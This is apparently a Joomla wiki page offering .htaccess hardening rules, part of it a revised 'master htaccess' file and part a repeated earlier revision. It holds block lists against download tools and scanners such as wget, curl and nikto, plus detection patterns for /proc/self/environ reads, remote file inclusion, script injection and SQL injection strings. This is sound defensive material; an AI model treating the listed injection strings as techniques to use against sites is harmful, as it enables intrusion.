## Additional thank-yous to John for his remarks and g1smd for taking the
## time to optimize the speed of the file.
##
## It is usually prudent to remove the comments from the file when using it
## on a live host to minimize the parsing time.
##
## ----------------------------------------------------------------------
## Do you want to customize this .htaccess file with a few clicks?
## Admin Tools Professional by AkeebaBackup.com does this and much more.
##
## Learn more: http://www.akeebabackup.com/software/admin-tools.html
## ----------------------------------------------------------------------
##
## Have fun, stay safe.
##
## Nicholas K. Dionysopoulos
## Lead Developer, AkeebaBackup.com
##
## CHANGELOG:
## Version 2.5 (proposed) (May 16th, 2011)
## - Placeholders for custom code. Correction of ruleset ordering.
## Version 2.4 (April 18th, 2011)
## - Dozens of speed optimisations and many logic and syntax corrections.
## Version 2.3 (November 18th, 2010)
## - Added .ico to the pass-through rules, for favicons to load
## Version 2.2 (October 25th, 2010)
## - Bug in the tmpl=component rule
## Version 2.1 (October 19th, 2010)
## - index.php to root redirection would kill some AJAX requests
## - Referer filtering was screwed up
## - Simplified and more thorough PHP Easter Egg code (thanks Jon!)
## - The tp/template/tmpl filter was not thorough and killed some components
## - Optimized Joomla! core SEF section
## - Bot filters and GZip optimization would never run for dynamic content
## - Content expiration optimization got more optimized
## - Added ETag rule
##
###############################################################################

########## Begin - RewriteEngine enabled
RewriteEngine On
########## End - RewriteEngine enabled

########## Begin - RewriteBase
# Uncomment following line if your webserver's URL
# is not directly related to physical file paths.
# Update Your Joomla! Directory (just / for root)

# RewriteBase /
########## End - RewriteBase

########## Begin - No directory listings
## Note: +FollowSymlinks may cause problems and you might have to remove it
IndexIgnore *
Options +FollowSymLinks All -Indexes
########## End - No directory listings

########## Begin - File execution order, by Komra.de
DirectoryIndex index.php index.html
########## End - File execution order

########## Begin - ETag Optimization
## This rule will create an ETag for files based only on the modification
## timestamp and their size. This works wonders if you are using rsync'ed
## servers, where the inode number of identical files differs.
## Note: It may cause problems on your server and you may need to remove it
FileETag MTime Size
########## End - ETag Optimization

########## Begin - Common hacking tools and bandwidth hoggers block
## By SigSiu.net and @nikosdion.
# This line also disables Akeeba Remote Control 2.5 and earlier
SetEnvIf user-agent "Indy Library" stayout=1
# WARNING: Disabling wget will also block the most common method for
# running CRON jobs. Remove if you have issues with CRON jobs.
SetEnvIf user-agent "Wget" stayout=1
# The following rules are for bandwidth-hogging download tools
SetEnvIf user-agent "libwww-perl" stayout=1
SetEnvIf user-agent "Download Demon" stayout=1
SetEnvIf user-agent "GetRight" stayout=1
SetEnvIf user-agent "GetWeb!" stayout=1
SetEnvIf user-agent "Go!Zilla" stayout=1
SetEnvIf user-agent "Go-Ahead-Got-It" stayout=1
SetEnvIf user-agent "GrabNet" stayout=1
SetEnvIf user-agent "TurnitinBot" stayout=1
# This line denies access to all of the above tools
deny from env=stayout
########## End - Common hacking tools and bandwidth hoggers block

########## Begin - Automatic compression of resources
# Compress text, html, javascript, css, xml, kudos to Komra.de
# May kill access to your site for old versions of Internet Explorer
# The server needs to be compiled with mod_deflate otherwise it will send HTTP 500 Error.
# mod_deflate is not available on Apache 1.x series. Can only be used with Apache 2.x server.
# AddOutputFilterByType is now deprecated by Apache. Use mod_filter in the future.
AddOutputFilterByType DEFLATE text/plain text/html text/xml text/css application/xml application/xhtml+xml application/rss+xml application/javascript application/x-javascript
########## End - Automatic compression of resources

########## Begin - Add optional bad user agent or IP blocking code
#
# If you need to block certain user agents or IP addresses and
# other signatures, place that code here. Ensure the rules use
# the correct RewriteRule syntax and the [F] flag.
#
########## End - Add optional bad user agent or IP blocking code

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# If the request query string contains /proc/self/environ (by SigSiu.net)
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
# Block out any script trying to set a mosConfig value through the URL
# (these attacks wouldn't work w/out Joomla! 1.5's Legacy Mode plugin)
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode or base64_decode data within the URL
RewriteCond %{QUERY_STRING} base64_(en|de)code[^(]*$[^)]*$ [OR]
## IMPORTANT: If the above line throws an HTTP 500 error, replace it with these 2 lines:
# RewriteCond %{QUERY_STRING} base64_encode$.*$ [OR]
# RewriteCond %{QUERY_STRING} base64_decode$.*$ [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
########## End - Rewrite rules to block out some common exploits

########## Begin - File injection protection, by SigSiu.net
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=http:// [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=(\.\.//?)+ [OR]
RewriteCond %{QUERY_STRING} [a-zA-Z0-9_]=/([a-z0-9_.]//?)+ [NC]
RewriteRule .* - [F]
########## End - File injection protection

########## Begin - Basic antispam Filter, by SigSiu.net
## I removed some common words, tweak to your liking
## This code uses PCRE and works only with Apache 2.x.
## This code will NOT work with Apache 1.x servers.
RewriteCond %{QUERY_STRING} \b(ambien|blue\spill|cialis|cocaine|ejaculation|erectile)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(erections|hoodia|huronriveracres|impotence|levitra|libido)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(lipitor|phentermin|pro[sz]ac|sandyauer|tramadol|troyhamby)\b [NC,OR]
RewriteCond %{QUERY_STRING} \b(ultram|unicauca|valium|viagra|vicodin|xanax|ypxaieo)\b [NC]
## Note: The final RewriteCond must NOT use the [OR] flag.
RewriteRule .* - [F]
## Note: The previous lines are a "compressed" version
## of the filters. You can add your own filters as:
## RewriteCond %{QUERY_STRING} \bbadword\b [NC,OR]
## where "badword" is the word you want to exclude.
########## End - Basic antispam Filter, by SigSiu.net

########## Begin - Advanced server protection - query strings, referrer and config
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Disallow PHP Easter Eggs (can be used in fingerprinting attacks to determine
## your PHP version). See http://www.0php.com/php_easter_egg.php and
## http://osvdb.org/12184 for more information
RewriteCond %{QUERY_STRING} \=PHP[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12} [NC]
RewriteRule .* - [F]

## SQLi first line of defense, thanks to Radek Suski (SigSiu.net) @
## http://www.sigsiu.net/presentations/fortifying_your_joomla_website.html
## May cause problems on legitimate requests
RewriteCond %{QUERY_STRING} concat[^\(]*\( [NC,OR]
RewriteCond %{QUERY_STRING} union([^s]*s)+elect [NC,OR]
RewriteCond %{QUERY_STRING} union([^a]*a)+ll([^s]*s)+elect [NC]
RewriteRule .* - [F]

## Referrer filtering for common media files. Replace with your own domain name.
## This blocks most common fingerprinting attacks ;)
## Note: Change www\.example\.com with your own domain name, substituting the
## dots with \. i.e. use www\.example\.com for www.example.com
RewriteRule ^images/stories/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [L]
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?example\.com [NC]
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule \.(jp(e?g|2)?|png|gif|bmp|css|js|swf|ico)$ - [F]

## Disallow visual fingerprinting of Joomla! sites (module position dump)
## Initial idea by Brian Teeman and Ken Crowder, see:
## http://www.slideshare.net/brianteeman/hidden-joomla-secrets
## Improved by @nikosdion to work more efficiently and handle template
## and tmpl query parameters
RewriteCond %{QUERY_STRING} (^|&)tmpl=(component|system) [NC]
RewriteRule .* - [L]
RewriteCond %{QUERY_STRING} (^|&)t(p|emplate|mpl)= [NC]
RewriteRule .* - [F]

## Disallow access to htaccess.txt, configuration.php, configuration.php-dist and php.ini
RewriteRule ^(htaccess\.txt|configuration\.php(-dist)?|php\.ini)$ - [F]

########## End - Advanced server protection - query strings, referrer and config

########## Begin - Advanced server protection rules exceptions ####
##
## These are sample exceptions to the Advanced Server Protection 3.1
## rule set further down this file.
##
## Allow UddeIM CAPTCHA
RewriteRule ^components/com_uddeim/captcha15\.php$ - [L]
## Allow Phil Taylor's Turbo Gears
RewriteRule ^plugins/system/GoogleGears/gears-manifest\.php$ - [L]
## Allow JoomlaWorks AllVideos
RewriteRule ^plugins/content/jw_allvideos/includes/jw_allvideos_scripts\.php$ - [L]
## Allow Admin Tools Joomla! updater to run
RewriteRule ^administrator/components/com_admintools/restore\.php$ - [L]
## Allow Akeeba Backup Professional's integrated restoration script to run
RewriteRule ^administrator/components/com_akeeba/restore\.php$ - [L]
## Allow Akeeba Kickstart
RewriteRule ^kickstart\.php$ - [L]

# Add more rules to single PHP files here

## Allow Agora attachments, but not PHP files in that directory!
RewriteCond %{REQUEST_FILENAME} !(\.php)$
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^components/com_agora/img/members/ - [L]

# Add more rules for allowing full access (except PHP files) on more directories here

## Uncomment to allow full access to the cache directory (strongly not recommended!)
#RewriteRule ^cache/ - [L]
## Uncomment to allow full access to the tmp directory (strongly not recommended!)
#RewriteRule ^tmp/ - [L]

# Add more full access rules here

########## End - Advanced server protection rules exceptions ####

########## Begin - Advanced server protection - paths and files
# Advanced server protection, version 3.2 - May 2011
# by Nicholas K. Dionysopoulos

## Back-end protection
## This also blocks fingerprinting attacks browsing for XML and INI files
RewriteRule ^administrator/?$ - [L]
RewriteRule ^administrator/index\.(php|html?)$ - [L]
RewriteRule ^administrator/index[23]\.php$ - [L]
RewriteRule ^administrator/(components|modules|templates|images|plugins)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
RewriteRule ^administrator/ - [F]

## Explicitly allow access only to XML-RPC's xmlrpc/index.php or plain xmlrpc/ directory
RewriteRule ^xmlrpc/(index\.php)?$ - [L]
RewriteRule ^xmlrpc/ - [F]

## Disallow front-end access for certain Joomla! system directories
RewriteRule ^includes/js/ - [L]
RewriteRule ^(cache|includes|language|libraries|logs|tmp)/ - [F]

## Allow limited access for certain Joomla! system directories with client-accessible content
RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*([^/.]+\.)+(jp(e?g|2)?|png|gif|bmp|css|js|swf|html?|mp(eg?|[34])|avi|wav|og[gv]|xlsx?|docx?|pptx?|zip|rar|pdf|xps|txt|7z|svg|od[tsp]|flv|mov)$ - [L]
## Uncomment this line if you have extensions which require direct access to their own
## custom index.php files. Note that this is UNSAFE and the developer should be ashamed
## for being so lame, lazy and security unconscious.
# RewriteRule ^(components|modules|plugins|templates)/([^/]+/)*(index\.php)?$ - [L]
## Uncomment the following line if your template requires direct access to PHP files
## inside its directory, e.g. GZip compressed copies of its CSS files
# RewriteRule ^templates/([^/]+/)*([^/.]+\.)+php$ - [L]
RewriteRule ^(components|modules|plugins|templates)/ - [F]

## Disallow access to rogue PHP files throughout the site, unless they are explicitly allowed
RewriteCond %{REQUEST_FILENAME} \.php$
RewriteCond %{REQUEST_FILENAME} !/index[23]?\.php$
## The next line is to explicitly allow the forum post assistant(fpa-xx)script to run
RewriteCond %{REQUEST_FILENAME} !/fpa-[a-z]{2}\.php
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^([^/]+/)*([^/.]+\.)+php$ - [F]

########## End - Advanced server protection - paths and files

########## Begin - Google Apps redirection, by Komra.de
## Uncomment the following line to enable:
# RewriteRule ^mail http://mail.google.com/a/example.com [R=301,L]
## If the above doesn't work on your server, try this:
## RewriteRule ^mail http://mail.google.com/a/example.com [R,L]
########## End - Google Apps redirection

########## Begin - Custom redirects
#
# If you need to redirect some pages, place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
########## End - Custom redirects

########## Begin - Redirect (www.)olddomain.com to www.example.com
## Note: olddomain.com is your old domain name, you want to redirect FROM,
## whereas www.example.com is the new domain name you want to redirect TO.
## Change those names to reflect your current configuration. Remember, this
## small part of the file is supposed to be placed in www.olddomain.com!
## Note: Replace [R=301,L] with [R,L] if you get error 500.
## Uncomment the following lines to enable:
# RewriteCond %{HTTP_HOST} ^(www\.)?olddomain\.com [NC]
# RewriteRule (.*) http://www.example.com/$1 [R=301,L]
## Note: The above section is only required if you are changing your domain name.
########## End - Redirect (www.)olddomain.com to www.example.com

########## Begin - Force HTTPS for certain pages
# Force the page foobar.html to run in HTTPS mode, no matter what Joomla! says.
# This is a sample redirection for foobar.html. Do note that you have to change
# www.example.com to reflect your own domain. Remember to escape the dots using
# \. in the left hand side of each rule. You need BOTH LINES PER URL for the rule
# to work.
RewriteCond %{SERVER_PORT} !^443$
## Alternatively, comment the above line and uncomment the following line:
# RewriteCond %{HTTPS} ^off$ [NC]
RewriteRule ^foobar\.html$ https://www.example.com/foobar.html [R=301,L]
## NOTE: If you get an HTTP 500 error, please swap [R=301,L] with [R,L]
# Add more rules below this line as required
########## End - Force HTTPS for certain pages

########## Begin - Redirect index.php to /
## Note: Change example.com to reflect your own domain name
RewriteCond %{THE_REQUEST} !^POST
RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /index\.php\ HTTP/
RewriteCond %{SERVER_PORT}>s ^(443>(s)|[0-9]+>s)$
RewriteRule ^index\.php$ http%2://www.example.com/$1 [R=301,L]
## If the above line throws a 500 error, change [R=301,L] to [R,L]
########## End - Redirect index.php to /

########## Begin - Redirect non-www to www
RewriteCond %{HTTP_HOST} !^www\. [NC]
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Redirect www to non-www
## WARNING: Comment out the non-www to www rule if you choose to use this
# RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]
# RewriteRule ^(.*)$ http://%1/$1 [R=301,L]
## If the above throws an HTTP 500 error, swap [R=301,L] with [R,L]
########## End - Redirect non-www to www

########## Begin - Custom internal rewrites
#
# If you need to internally rewrite some specific URL requests,
# place that code here. Ensure those internal rewrites use the
# correct RewriteRule syntax without domain name and with [L] flag.
#
########## End - Custom internal rewrites

########## Begin - Joomla! core SEF Section
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for the site root, or for an extensionless URL,
# or the requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw|ini|zip|json|file))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
########## End - Joomla! core SEF Section

########## Begin - Optimal default expiration time
## Note: this might cause problems and you might have to comment it out by
## placing a hash in front of this section's lines
<IfModule mod_expires.c>
# Enable expiration control
ExpiresActive On

# Default expiration: 1 hour after request
ExpiresDefault "now plus 1 hour"

# CSS and JS expiration: 1 week after request
ExpiresByType text/css "now plus 1 week"
ExpiresByType application/javascript "now plus 1 week"
ExpiresByType application/x-javascript "now plus 1 week"

# Image files expiration: 1 month after request
ExpiresByType image/bmp "now plus 1 month"
ExpiresByType image/gif "now plus 1 month"
ExpiresByType image/jpeg "now plus 1 month"
ExpiresByType image/jp2 "now plus 1 month"
ExpiresByType image/pipeg "now plus 1 month"
ExpiresByType image/png "now plus 1 month"
ExpiresByType image/svg+xml "now plus 1 month"
ExpiresByType image/tiff "now plus 1 month"
ExpiresByType image/vnd.microsoft.icon "now plus 1 month"
ExpiresByType image/x-icon "now plus 1 month"
ExpiresByType image/ico "now plus 1 month"
ExpiresByType image/icon "now plus 1 month"
ExpiresByType text/ico "now plus 1 month"
ExpiresByType application/ico "now plus 1 month"
ExpiresByType image/vnd.wap.wbmp "now plus 1 month"
ExpiresByType application/vnd.wap.wbxml "now plus 1 month"
ExpiresByType application/smil "now plus 1 month"

# Audio files expiration: 1 month after request
ExpiresByType audio/basic "now plus 1 month"
ExpiresByType audio/mid "now plus 1 month"
ExpiresByType audio/midi "now plus 1 month"
ExpiresByType audio/mpeg "now plus 1 month"
ExpiresByType audio/x-aiff "now plus 1 month"
ExpiresByType audio/x-mpegurl "now plus 1 month"
ExpiresByType audio/x-pn-realaudio "now plus 1 month"
ExpiresByType audio/x-wav "now plus 1 month"

# Movie files expiration: 1 month after request
ExpiresByType application/x-shockwave-flash "now plus 1 month"
ExpiresByType x-world/x-vrml "now plus 1 month"
ExpiresByType video/x-msvideo "now plus 1 month"
ExpiresByType video/mpeg "now plus 1 month"
ExpiresByType video/mp4 "now plus 1 month"
ExpiresByType video/quicktime "now plus 1 month"
ExpiresByType video/x-la-asf "now plus 1 month"
ExpiresByType video/x-ms-asf "now plus 1 month"
</IfModule>
########## End - Optimal expiration time
</source>

If not using the suggested master htaccess file, the following suggestions will need RewriteEngine set to On, and will likely also need Options +FollowSymLinks too:

<source lang="apache">
# mod_rewrite in use
RewriteEngine On
Options +FollowSymLinks
</source>

== Other useful settings ==
<source lang="apache">
ServerSignature Off
RewriteCond %{REQUEST_METHOD} ^(HEAD|TRACE|DELETE|TRACK) [NC,OR]
RewriteCond %{THE_REQUEST} (\\r|\\n|%0A|%0D) [NC,OR]

RewriteCond %{HTTP_REFERER} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{HTTP_COOKIE} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]
RewriteCond %{REQUEST_URI} ^/(,|;|:|<|>|”>|”<|/|\\\.\.\\).{0,9999} [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^$ [OR]
RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (libwww-perl|curl|wget|python|nikto|scan) [NC,OR]
RewriteCond %{HTTP_USER_AGENT} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC,OR]

#Block mySQL injects
RewriteCond %{QUERY_STRING} (;|<|>|’|”|\)|%0A|%0D|%22|%27|%3C|%3E|%00).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark) [NC,OR]

RewriteCond %{QUERY_STRING} \.\./\.\. [OR]

RewriteCond %{QUERY_STRING} (localhost|loopback|127\.0\.0\.1) [NC,OR]
RewriteCond %{QUERY_STRING} \.[a-z0-9] [NC,OR]
RewriteCond %{QUERY_STRING} (<|>|’|%0A|%0D|%27|%3C|%3E|%00) [NC]
# Note: The final RewriteCond must NOT use the [OR] flag.

# Return 403 Forbidden error.
RewriteRule .* index.php [F]
</source>

== Block bad user agents ==
<source lang="apache">
########## Block bad user agents
## The following list may include bots that no longer exist or are not a problem
## for your site. The list will always be incomplete and it is therefore wise to
## follow discussions on one of the many "security" mailing lists or on a forum
## such as http://www.webmasterworld.com/search_engine_spiders/
## It is also unwise to rely on this list as your ONLY security mechanism.
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus
## Note: The final RewriteCond must NOT use the [OR] flag.

## Return 403 Forbidden error.
RewriteRule .* - [F]
</source>

== External links ==
[http://perishablepress.com/press/tag/htaccess/ .htaccess tag archive @ perishablepress.com]

[http://akeeba.assembla.com/code/master-htaccess/git/nodes/htaccess.txt Proposed "master htaccess" (updated by Nicholas on April 24th 2011 to v3.3) DO read the intro by Nicholas!]
[[Category:Security]]

The original file contained a number of syntax errors, several rules that cwould never work, and a number of expressions that could be more efficiently coded.

Bugs and enhancements originally discussed at: http://forum.joomla.org/viewtopic.php?f=432&t=549841

Discussion also at: http://snipt.net/nikosdion/the-master-htaccess/ and http://snipt.net/g1smd/joomla-patch/

The new proposed file: http://code.google.com/p/joomla-master-htaccess/source/list and at: http://akeeba.assembla.com/code/master-htaccess/git/node/logs

The changes explained, line by line:
http://codereview.appspot.com/4312049/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4290071/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4290071/diff/8001/joomla-master-htaccess.txt
http://codereview.appspot.com/4370051/diff/3/joomla-master-htaccess.txt
http://codereview.appspot.com/4314051/diff/1001/joomla-master-htaccess.txt
http://codereview.appspot.com/4430062/diff/1/joomla-master-htaccess.txt
http://codereview.appspot.com/4528051/diff/1/joomla-master-htaccess.txt

Htaccess examples (security)

2013-07-14T20:32:18Z

Phild: Protected "Htaccess examples (security)": Prevent unauthorized editing of htaccess file (‎[edit=sysop] (indefinite) ‎[move=sysop] (indefinite))

{{DISPLAYTITLE:htaccess examples (security)}}__TOC__
''Credit for part of this .htaccess file goes to Ronald van den Heetkamp''

For this to work you need RewriteEngine set to On, and will likely also need Options +FollowSymLinks too:

<source lang="apache">
# mod_rewrite in use
RewriteEngine On
Options +FollowSymLinks
</source>

== Block bad user agents ==
<source lang="apache">
########## Block bad user agents
## The following list may include bots that no longer exist or are not a problem
## for your site. The list will always be incomplete and it is therefore wise to
## follow discussions on one of the many "security" mailing lists or on a forum
## such as http://www.webmasterworld.com/search_engine_spiders/
## It is also unwise to rely on this list as your ONLY security mechanism.
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
